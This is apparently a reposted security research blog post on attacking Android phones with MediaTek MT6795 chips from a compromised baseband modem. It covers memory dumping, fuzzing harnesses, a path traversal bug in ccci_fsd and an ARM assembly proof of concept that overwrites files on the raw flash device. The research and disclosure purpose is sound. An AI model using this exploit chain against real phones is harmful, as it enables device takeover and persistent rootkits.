md->mem_layout.smem_offset_AP_to_MD = md->mem_layout.smem_region_phy - (remainder + 0x40000000); set_md_smem_remap(md, 0x40000000, md->mem_layout.md_region_phy + (smem_offset-remainder), invalid); CCCI_INF_MSG(md->index, TAG, "AP to MD share memory offset 0x%X", md->mem_layout.smem_offset_AP_to_MD); set_md_rom_rw_mem_remap(md, 0x00000000, md->mem_layout.md_region_phy, invalid); The key takeaway is that the ROM and RAM of the baseband RTOS is present in the application processor’s memory, thus it has access to it. The AP serves as a sort of master to the MD and can power-cycle the modem and access some of its registers to set up the initial memory mappings. This means a kernel module can be used to retrieve a handle to the modem struct, read the addresses of these memory regions and dump their content. Below is the output of such tool: Sending ioctl: 8008d200 [md_dump] modem 0 info MD:lwg*MT6795_S00**2015/05/05 18:19*Release AP:lwg*MT6795E1*08000000 (MD)07a00000 [md_dump] modem 1 info [md_dump] modem 2 info [md_dump] modem 3 info [md_dump] modem 4 info [md_dump] modem 5 info Sending ioctl: 8008d201 [md_dump] driver used by modem: ECCI@ Sending ioctl: 8008d202 [md_dump]----dumping modem info---- [md_dump] Modem 0 at: ffffffc0a6848000 [md_dump] Rom: [md_dump] Phys start: e8000000 [md_dump] Virt start: ffffff8000792000 [md_dump] size: 8c3aac [md_dump] Ram: [md_dump] Phys start: e88d0000 [md_dump] Virt start: ffffff8001060000 [md_dump] size: 7730000 [md_dump] Shm: [md_dump] Phys start: f0000000 [md_dump] Virt start: ffffff8000800000 [md_dump] size: 200000 [md_dump] offset to MD: b0000000 [md_dump] CCIF base: 0 [md_dump] SIM type: eeeeeeee [md_dump]----End of Dump---- To dump the actual content of these memory regions the physical addresses must be used as they are only partially present in the kernel’s virtual address space. If we wish to access the RAM, one more step is required as it is protected from the AP by the External Memory Interface’s (EMI) MPU. This protection can be removed by calling the ccci_clear_md_region_protection routine, which wipes the MPU protection from the modem memory regions. With the help of the same kernel module and /dev/mem it is possible to monitor the communication between the modem and the AP and to inject arbitrary commands. Bug Hunting Now that we have a general idea about what kind of data is controlled by the modem and how it is processed, it is time to look for bugs that can be leveraged to gain code execution. The CCCI kernel driver is a tempting target as a vulnerability there would potentially grant complete control over the Android system. However, it mostly serves as a gateway between the modem and the user-space applications without processing most of the data, which significantly reduces the attack surface. This of course does not guarantee that there are no vulnerabilities in the kernel driver, but I decided to focus my attention on the user-space applications as they appeared to be the easier targets. There is just one low hanging fruit that must be investigated before moving on to the user-space. With this kind of shared memory model if the EMI MPU is not configured correctly the modem could potentially write into the kernel address space, which can lead to an easy compromise. Let’s take a closer look at how the EMI MPU protection is set up (only relevant parts of the source code are shown): #define SET_ACCESS_PERMISSON(d3, d2, d1, d0) (((d3) << 9) | ((d2) << 6) | ((d1) << 3) | (d0)) rom_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, SEC_R_NSEC_R, SEC_R_NSEC_R); rw_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, NO_PROTECTION, FORBIDDEN); shr_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, NO_PROTECTION, NO_PROTECTION); ap_mem_mpu_attr = SET_ACCESS_PERMISSON(NO_PROTECTION, FORBIDDEN, SEC_R_NSEC_R, NO_PROTECTION); CCCI_INF_MSG(md->index, TAG, "MPU Start protect AP region<%d:%08x:%08x> %x\n", ap_mem_mpu_id, kernel_base, (kernel_base+dram_size-1), ap_mem_mpu_attr); emi_mpu_set_region_protection(kernel_base, (kernel_base+dram_size-1), ap_mem_mpu_id, ap_mem_mpu_attr); The leaked MTK documents help significantly with deciphering what we see here. Domain 0 is identified as the application processor domain, domain 1 is dedicated for the modem MCU, while domain 2 controls the DSP, and finally domain 3 is associated with the multimedia engine. With that information in mind we can see that the MD ROM address range is readable by the AP and the MD in secure mode, the RAM is only accessible to the modem and shared memory is available to both of them. Unfortunately, the rest of the physical DRAM (starting from the Android kernel base) is only readable by the MD so direct overwrite of the kernel is not possible. As previously shown in Figure 1, there are quite a number of user space application that utilize the modem services. Auditing all of them is a really ambitious task as some of them are quite large and source code is generally not available. Due to the limited time frame of my internship and therefore the research, I decided to investigate the two most promising candidates. The Radio Interface Layer (RIL) daemon is responsible for the messaging between the Android telephony services and the modem hardware. It includes a vendor RIL portion, which provides vendor-specific glue code between Android RIL and proprietary modem interfaces. Its duties include the dispatching of unsolicited commands. These commands are initiated by the modem on certain events and parsed by the vendor RIL library. The structure of these commands comply with the traditional Hayes AT command format with proprietary extensions that can get fairly complex in detail. This means that the modem can send controlled data at arbitrary times that is going to be parsed as AT commands by the vendor RIL implementation. Because of this the RIL library serves as an excellent target for fuzzing. The second promising candidate is the ccci_fsd application, which provides a remote virtual file system for the modem to store persistent configuration files. The modem does not have its own file system. Furthermore, it does not have direct access to any non volatile memory. This necessitates that configuration parameters, which need to be kept across modem reboots, must be stored on the AP side. The ccci_fsd binary and CCCI kernel driver together provide the NVRAM file system API that is used by the modem to access the files under /data/nvram/md on the AP file system. A common mistake in such file system implementations is the improper sanitization of path strings resulting in path traversal vulnerabilities. Such vulnerabilities can easily be verified by manually reverse engineering the parts of theccci_fsd binary that handle opening files. Fuzzing the Vendor RIL The MTK RIL implementation is proprietary, however, there are leaked sources for previous versions. From a quick glance it becomes obvious that the MTK implementation follows the Android reference RIL closely. This is good news, because it means that most of the public documentation about RIL applies to our target. The figure below illustrates how unsolicited commands are processed usually and what functions are called. Figure 3: Command Flow in RIL On the device, the vendor RIL is implemented in the mtk-ril.so library and just like the reference implementation it receives unsolicited commands in the readerLoop function. The reader loop originally reads from the /dev/ttyC0 device or, in case CMUX multiplexing is used, from one of the pseudo- terminals provided by the gsm0710muxd application. These communication channels can be monitored and modified by setting up a Man-in-the-Middle pseudo terminal for /dev/ttyC0 following the steps outlined in Fabien Sanglard’s article. The reader loop simply expects a channel description as an argument, which determines from where commands are read and where they are dispatched. For fuzzing, we can set up this channel descriptor to read from STDIN rather than PTY devices and then dispatch the commands to the usual handler for parsing. Setting up the channel is straightforward. Following is an excerpt from the relevant code (the complete AFL wrapper is available here): memset(&channel, 0, sizeof(channel)); channel.fd = STDIN_FILENO; channel.ATBufferCur = channel.ATBuffer; channel.myName = "RIL_CMD_READER_1"; channel.id = 1; channel.unsolHandler = (libBase + 0x10AD0); //onUnsolicited channel.readerClosed = 0; channel.responsePrefix = NULL; channel.smsPDU = NULL; channel.p_response = NULL; channel.tid_reader = syscall(SYS_gettid); // call reader loop printf("[INFO] Starting the event handler\n"); readerLoop = (libBase + 0x2f020); (*readerLoop)((void*)&channel); One issue remains before AFL can drive our target: the readerLoop reads commands in an infinite loop which is inconvenient for fuzzing with AFL. As a workaround, we patch a single instruction at the end of the loop so that the reader would return after processing the command. In hindsight, it probably would have been easier to skip the reader loop and directly call the unsolicited handler, feeding it the AFL input and the fake channel description. Due to the limited time available for this research I could not run the fuzzer extensively. Still, I had a few promising crashes, following up on these is left to be done in the future. Manually Analyzing the ccci_fsd Binary As introduced previously, the ccci_fsd program is used to provide access to persistent storage to the modem. The CCCI driver is used to transmit the requests and subsequently reading or writing data, but it is the ccci_fsd user space program that ultimately executes the file operations on the AP system. The concept is further detailed by the Mediatek documentation. Figure 4: NVRAM File Transfer with CCCI The reverse engineering process of the binary is assisted by the significant amount of Android log messages. A quick glance at the strings tells us that a conventional file system API is implemented with the usual read, write, open, close, seek and delete operations. We can set up an LD_PRELOAD hook to monitor the communication (or simply run strace on the application) and observe the custom protocol that is used to transmit the file system API requests and responses through the ccci_fs character device: 00000000 00 00 00 00 5c 00 00 00 0e 00 b8 04 00 00 00 00 |....\...........| 00000010 01 10 00 00 02 00 00 00 36 00 00 00 5a 00 3a 00 |........6...Z.:.| 00000020 5c 00 4e 00 56 00 52 00 41 00 4d 00 5c 00 4e 00 |\.N.V.R.A.M.\.N.| 00000030 56 00 44 00 5f 00 44 00 41 00 54 00 41 00 5c 00 |V.D._.D.A.T.A.\.| 00000040 4d 00 54 00 34 00 41 00 5f 00 30 00 30 00 31 00 |M.T.4.A._.0.0.1.| 00000050 00 00 00 00 04 00 00 00 00 04 01 20 00 00 00 00 |........... ....| As shown in the above excerpt of a communication trace, the API uses a DOS-style path format with drive letters, backslash separators, and uppercase wide character file and directory names. A quick search for this file on the Android system reveals that it is located under /data/nvram/md/NVRAM/NVD_DATA/MT4A_001 with a set of other similar binary config files. Next, we need to figure out how the DOS style path is converted into Unix path and how it is sanitized. Locating the open function in IDA is trivial due to the high number of log strings and the straightforward code: Figure 5: FS_Open in IDA Pro The w16toc_change_path_delim function copies the received path string to a stack buffer while converting it from wide character to 8 bit char representation and replacing backslashes with forward slashes. After that, the first two characters are checked for containing any of the allowed drive letters (Z:, X:, Y: and W:). If matching, a length check is performed on the remainder of the path and the associated prefix path. The W: drive is handled slightly differently as it is used to retrieve the DSP firmware image. Other drive letter map to certain paths. E.g. Z: maps to /data/nvram/md. The final path string is generated by concatenating the received path and the prefix and passing the result to the open system call. Leveraging the MTK Path Traversal Vulnerability This means that there is no input sanitization at all, so the modem can get a handle and potentially overwrite any file on the AP system that the ccci_fsd application has permission to access. As an example the path Z:..\..\..\system\bin\ls is turned into /data/nvram/md/../../../system/bin/ls. However, the system partition is read-only. The ccci_fsd daemon is run as the radio user, which is part of the system group and it also has some further restrictions enforced by SELinux. Dumping the compiled /sepolicy file (by running sesearch on it) reveals that the binary is restricted to access nvram data files, the ccci drivers and config files, but also the platform block devices under /dev/block. Filtering the list of these devices for those that can be written by the system group yields us the following result: brw-rw---- root system 179, 0 2016-08-31 11:00 mmcblk0 brw-rw---- root system 179, 32 2016-08-31 11:00 mmcblk0boot0 brw-rw---- root system 179, 64 2016-08-31 11:00 mmcblk0boot1 brw-rw---- root system 179, 1 2016-08-31 11:00 mmcblk0p1 -> proinfo brw-rw---- root system 179, 13 2016-08-31 11:00 mmcblk0p13 -> secro brw-rw---- root system 179, 14 2016-08-31 11:01 mmcblk0p14 -> para brw-rw---- root system 179, 2 2016-08-31 11:00 mmcblk0p2 -> nvram brw-rw---- media system 259, 0 2016-08-31 11:00 mmcblk0p32 -> control brw-rw---- root system 259, 8 2016-08-31 11:00 mmcblk0p40 -> boot brw-rw---- root system 259, 9 2016-08-31 11:00 mmcblk0p41 -> recovery brw-rw---- root system 179, 8 2016-08-31 11:00 mmcblk0p8 -> seccfg Great! The first item of the list is the raw device for the internal flash that contains the system image including the system partition. This means that the modem is able to open the mmcblk0 raw devices, and as a result, search the device for the binary data of an executable (preferably one that is run as root) and overwrite it with arbitrary code, thus compromising the Android system. To test this theory in practice we need to examine the modem RTOS, discover how the NVRAM API is used from within the modem, and finally modify the firmware to create a proof of concept exploit. Analyzing the Modem Firmware There are multiple ways to obtain the modem firmware image. As introduced earlier, the ROM image is present in the AP memory and can be dumped. The firmware image file is also present on the AP file system as it is loaded by the CCCI kernel driver. I decided to first take a look at the code that loads the driver. From an architectural perspective the firmware loading works as follows: First, the image is retrieved and opened Next, its signature is checked Finally, the image is decrypted and copied to the reserved ROM memory This sounds good, however, if we take a closer look we can spot multiple issues with it. For some reason only the first 0x18000 bytes of the image is encrypted, while the rest is stored in cleartext. This alone would not be a problem, but the real issue here is that the hash, that is used to verify the image and signed by Mediatek: it is only calculated over the headers! This leaves the actual firmware data without any sort of integrity protection. As a result, modified or corrupted images are loaded by the CCCI driver without a problem. As a reference for the interested reader, the actual image format is composed of an image header, a cipher header, the actual data, verification hash, the signature, and the extension headers. Figure 6: Firmware Image Headers To obtain the raw image from the one stored on the device (as /system/etc/firmware/modem_1_lwg_n.img) we can write a program that removes the headers and trailers and decrypts the image. The firmware is encrypted with AES-128 and the keys are statically compiled and encoded within the kernel. They can either be dumped from kernel memory or a kernel module can be used for hijacking the sec_aes_init (source) and lib_aes_dec (source) routines and subsequently decrypting the image. Now that we have obtained the raw image we can load it in IDA for manual analysis. A few Mediatek debug utilities provide tremendous help during the reverse engineering of the firmware image. First of all, there are modem trace log files available under /mnt/shell/emulated/0/mtklog. These are helpful in tracking the firmware execution flow. By default only critical events are reported, but the log level can be controlled with the /system/etc/mtklog-config.prop config file to include non-critical events as well. Another useful utility is the /sys/devices/virtual/misc/md32/md32_ocd virtual device, which provides remote debugging capabilities for the modem. Lastly, there is also an executable (also called md32_ocd), which implements basic functionality such as setting and reading modem registers, reading and writing memory, and powering on and off the device. Unfortunately, it seems to be disabled by default on production devices and the requested operations fail silently. I could not find a way to re-enable it and I am unsure if it is possible at all. It might be permanently disabled by a blown fuse, but more likely it can be enabled by some configuration setting or kernel API since the associated driver is compiled into the kernel. Out of the many debug facilities, the one that turned out to be the most valuable is a symbol file kept under /mnt/shell/emulated/0/mtklog/mdlog1/MDLog1_*date*/DbgInfo_*modem-version*. This file contains all the function names and respective addresses that appear in the firmware image. Furthermore the parity bit of the function address tells whether the given function is compiled in ARM or Thumb-2 mode. I wrote an IDA python script that parses this file and defines all functions and provides us with a fully populated IDB (see Figures 7a and 7b for the results). The T segment register can be set to switch between ARM and thumb mode then code and functions can be defined. Figure 7a: IDA Navigator Before the Symbol File is Processed Figure 7b: IDA Navigator After the Symbol File is Processed If this was not enough, partial source code of the MT6795 modem is publicly available for unknown reasons. With all these resources at hand, we can reduce the reverse engineering effort and still form a relatively complete picture of the modem system. The MD firmware is a Nucleus RTOS image and uses a customized version of the CCCI driver for the inter-chip communication. Just like on the AP side the driver can be split into two main components: the lower layer CCCI-CCIF is responsible for providing an interface to the shared memory channels, while the other part of the driver provides access to the CCCI services to the Nucleus tasklets. The most interesting part of the firmware is its NVRAM implementation details on how the modem retrieves files from the AP system. This will be useful for further developing a PoC. The modem’s NVRAM API relies on the services of a Nucleus driver called ccci_fs, which is used to access the remote file system. The actual remote file system API is implemented in the ccci_fs_apis.c source file and it contains similar functions to what we have observed in the ccci_fsd application. Taking a closer look at the defined functions reveals a conventional file system API as can be seen below: kal_int32 MD_FS_Open(const WCHAR * FileName, kal_uint32 Flag); kal_int32 MD_FS_Close(FS_HANDLE FileHandle); kal_int32 MD_FS_Read(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Read); kal_int32 MD_FS_Write(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Written); kal_int32 MD_FS_Seek(FS_HANDLE FileHandle, kal_int32 Offset, kal_int32 Whence); Just like in the ccci_fsd binary the MD_FS_Open call expects a wide char string as a filename. It is filled into a parameter structure and passed to the AP side through the shared memory interface. The format of these parameters correlates with what was seen in the intercepted data from the LD_PRELOAD-ed ccci_fsd application. The rest of the API is designed similarly and each of these functions fill the same structure, containing a command code for the requested operation and the parameter. A command code identifies the requested operation and the parameter contains associated data such as the filename or the read or written bytes. Potential Backdoor Functionality Before moving on to writing the actual proof of concept, there is just one thing that must be mentioned here. While looking through the Helio X10 modem sources, I stumbled upon a very suspicious looking source file called rmmi_ats.c. It implements custom AT commands that triggers “telemetry” collection routines such as capturing keyboard and touch events, the current picture of the screen, or the output of the phones camera. It is even capable of emulating key presses and provides many other similar functionality, all with questionable intent. These functions can be executed remotely from the ISP side by sending the associated AT commands to the phone. Even though it is not compiled into the firmware image of the researched device, it still highlights potential capabilities of a compromised baseband. This further stresses the importance of strict security gaps between the hardware components of such platforms (be it mobile, embedded or any other device) and raises questions about how much one can trust third party closed source applications. Before jumping to a quick conclusion, I would like to emphasize that these source files are coming from the Internet from unknown sources, they are definitely not official and cannot be considered genuine. Still, it is an interesting research question whether other Mediatek devices with similar chipsets contain this code (especially from the Chinese market) in production. Proof of Concept Exploit Recall that the original assumption of the research was that baseband chips can get compromised in the first place, as previously demonstrated by other researchers (including Comsecuris). To simulate such a compromise we can directly modify and patch the firmware image to run our proof of concept code. This is possible due to the aforementioned lack of proper secure boot. At least, the CCCI driver fails to validate the integrity of the loaded image so this ability is given in practice. All we need is a good victim function that can be overwritten by our code to extend the firmware’s functionality. An ideal candidate can be triggered from the AP and would not disrupt the regular operation of the modem (too much). Such functions are the AT command handlers itself. A victim that satisfies such conditions is the rmmi_vts_hdlr handler, which is executed upon receipt of an AT+VTS command. The benefit of modifying this function is that it is located in cleartext portion of the firmware image. Therefore, there is no need to bother with decrypting and encrypting the image file while developing the PoC. Another useful routine is rmmi_write_to_uart, which can be used to send messages to the AP through the same serial line that is used to transmit AT commands. This provides us some much-needed debug capabilities by allowing to send arbitrary data from the modem. To receive such data on the AP side, the gsm0710muxd process can be killed and a serial console can be attached to the /dev/ttyC0 device, which gives us complete control over the communication. The execution of the overwritten VTS handler can be triggered on the modem by sending the AT+VTS command on this serial line. Now that all the primitives are explored, it is time to piece the actual proof of concept together. In order to gain code execution on the AP we need to open the /dev/mmcblk0 device on the modem and then seek to roughly where the system partition begins. Next, we search for and overwrite the target binary on the raw partition. It is possible to seek exactly to the offset of the victim executable, but in practice this address can vary between devices so it is not a realistic assumption that it is known a priori. Even without knowing the exact address, the device can be read block-by-block while searching block data for specific binary sequences that ultimately identify our target binary. This process is made easier by the fact that the files always begin on a block boundary so that the offset of the sequence within a block does not change. Once the victim binary file is found it can be overwritten with arbitrary data. The next time it is loaded into memory, our malicious code will be run. I have decided to write the PoC in assembly as the code is fairly small and requires low level interaction with existing functions in the firmware image. The complete source code and the scripts used to patch the image are available here, but the major steps are covered in this blog post. First, the malicious path string is copied to the stack as wide char string using kal_wsprintf. .set FORMAT_STR, 0x7053b5 .set MMCBLK_PATH, 0x7053b8 .set KAL_WSPRINTF, 0x3ba19f @ move the path to stack as wchar mov r0, sp ldr r1, =FORMAT_STR @%s format string ldr r2, =MMCBLK_PATH @ Z:../../../dev/mmclkb0 ldr r6, =KAL_WSPRINTF blx r6 Then the block device is opened with read/write permissions. .set RWO_FLAGS, 0x21010400 .set FS_OPEN, 0x103861 @ open the /dev/mmcblk raw device @ with R/W permissions mov r0, sp @the path string ldr r1, =RWO_FLAGS ldr r6, =FS_OPEN blx r6 @ store the returned handler str r0, [sp] We seek approximately to the beginning of the system partition on the device. .set FS_SEEK, 0x103C39 @ first seek into the middle of mmcblk device @ that is roughly where system starts seek: mov r0, fhl mov r1, #1 lsl r1, #30 mov r2, #1 @0 begin 1 cur ldr r6, =FS_SEEK blx r6 After that, we start reading the device block-by-block and check whether it contains the pattern that identifies the victim. The PoC looks for an 8 character long constant string that I set up for testing. This can be changed to any binary sequence that is unique to the target application (or block). .set FS_READ, 0x103A65 @ keep reading from device until @ the target is found mov r5, #0 read: mov r0, fhl @ file handler mov r1, sp @ read to the stack mov r2, #1 @ 512 bytes = 1 block lsl r2, #9 mov r3, r2 add r3, sp, r3 @ the number of bytes read ldr r6, =FS_READ blx r6 @ check if the read value contains the pattern @ this is oversimplified ldr r2, =CANARY1 ldr r1, [SP] cmp r2, r1 bne isover ldr r2, =CANARY2 ldr r1, [SP, #4] cmp r2, r1 @ if the victim is found we can overwrite it beq write Finally, the beginning of the target file is overwritten with a string. In a real exploit this is where the shell code would be written to the victim binary. .set EVIL, 0x4c495645 .set FS_WRITE, 0x103B55 @ load the payload string "EVIL" ldr r0, =EVIL str r0, [sp] @ and write it mov r0, fhl @ file handler mov r1, sp @ the payload mov r2, #1 lsl r2, #9 @ 512 mov r3, sp add r3, r3, r2 ldr r6, =FS_WRITE blx r6 This solution has a few a caveats. First, it takes considerable amount of time to search the flash memory block-by-block. The PoC takes roughly two hours to finish which is mostly due to the slow inter-chip I/O operations required to read a block. This overhead can be significantly reduced by reading multiple blocks in one request and then searching them in memory. Keeping multiple blocks in memory should not be a problem as the modem has plenty of slack space in RAM (in the range of multiple MB) and alternatively parts of the shared memory could be utilized too. The other concern is that most of the Nucleus tasks run in non-preemptible mode, including the AT command handlers. Therefore, other tasks are starved while the exploit is being executed. This makes the modem non-responsive and locks up its services, which then results in the cellular network not being available on the AP side. This results in no signal and is all but stealthy. This can be circumvented by starting a new task for the exploit, by using the Nucleus API with preemptible priority levels. By overwriting the modem firmware image on the block device this attack can also be leveraged to gain persistence and to turn the baseband into a rootkit. Looking for Entry-level Vulnerabilities I spent the last few weeks of my internship trying to complete the exploit chain by looking for a vulnerability in the baseband firmware. Unfortunately I ran out of time and could not finish the chain. Yet I think the approach I took is worth discussing. The MT6795 sources contain a set of pre-compiled object files in the form static libraries some of which implement the different layers of the cellular stack. The original idea was to try to link one of them with a stub that feeds input to it so it can be fuzzed by AFL. The implementation of the mobility management (MM) layer is a good candidate for fuzzing as it contains many complex parsing functions that are potentially prone to memory corruption errors and the protocol is filled with type-length fields. Spending a little time reverse engineering the firmware image clarifies that the MM layer is set up by calling the mm_init function and then the mm_main function is executed whenever new data arrives to the layer. The mm_main function receives its data in the form of Interlayer Messages (see definition below) that contains a few crucial fields. The msg_type is used to identify which operation the layer should carry out, the content of the local_para_struct (definition) depends on the selected operation while the peer_buff_struct (definition) contains the actual PDU. /* The Interlayer Message structure, which is exchaged between modules. */ typedef struct ilm_struct { module_type src_mod_id; /* Source module ID of the message. */ module_type dest_mod_id; /* Destination module ID of the message. */ sap_type sap_id; /* Service Access Pointer Identifier. */ msg_type msg_id; /* Message identifier */ local_para_struct *local_para_ptr; /* local_para pointer */ peer_buff_struct *peer_buff_ptr; /* peer_buff pointer */ } ilm_struct; Knowing all this we can write a wrapper that calls mm_init, then sets up an ilm_struct from the fuzzer input, and calls mm_main with it. Of course it is not that simple as the MM layer relies on a various Nucleus OS services and other layers. Trying to link our wrapper to libmm.a yields various undefined reference errors. As a first try we can replace all of these undefined references with a simple function stub that prints when it is called and returns. This allows the wrapper to be successfully linked with the library, but obviously it will not function correctly. Now we can begin an iterative process of running the wrapper and stopping when one of our stubs is hit. After that, the original version of the stubbed out function must be reverse engineered to an extent that we can decide which of the following options to take: If the function is not crucial for the operation of the MM layer (e.g. passing the ILM to upper layers) it can be left as a stub (see the sources If the functionality is important, but the actual implementation is not, e.g. because it is not in scope for the fuzzing, the function can be redefined (this is what happens for example with the event scheduler, see sources) If none of the above applies, the pre-compiled library that implements the function can be linked in The third option must be treated extra carefully because each time a new library is linked it pulls in additional dependencies, which can easily lead to an avalanche effect. Using these steps I have managed to get the wrapper to a stable state that can be fuzzed by AFL. The complete code is available here. All of the tools and source snippets introduced in this post are available on Comsecuris’ github: https://github.com/Comsecuris/mtk-baseband-sanctuary. Conclusion The original goal of the research was to achieve a compromise of the application processor operating system of a mobile phone from a compromised modem. To protect from these type of attacks strong isolation between hardware components should be considered when designing platforms. It also must be emphasized that the main operating system and applications running on it, must not blindly trust data coming from the different peripherals. Instead, this kind of data should be treated as attacker controlled. Defending against compromised units is already a complicated task and defending against inherently malicious rogue elements is even harder. Many of these hardware units are accessible through the radio networks (baseband and Wi-Fi chips and now even GPUs through WebGL). They are prime targets for remote exploitation of mobile devices and there are many aspects left to be explored. Further offensive and defensive research is required in this space. Besides making the jump between the chips harder, the security of the modem (and other peripherals) should be improved as well. Not all vendors are equal here, but some generally lack basic exploit mitigations. This significantly reduces the complexity of exploitation and makes up for the additional (reverse) engineering effort required to analyze the firmware. Due to the relentless work of the security community and the constant improvements of its hardening solutions, the cost of exploitation of mobile operating systems has drastically increased over the last few years. This not only makes attacks through deferred routes (such as through the modem) more appealing but might make them economically viable. Sursa: https://comsecuris.com/blog/posts/path_of_least_resistance/
-
- 1
-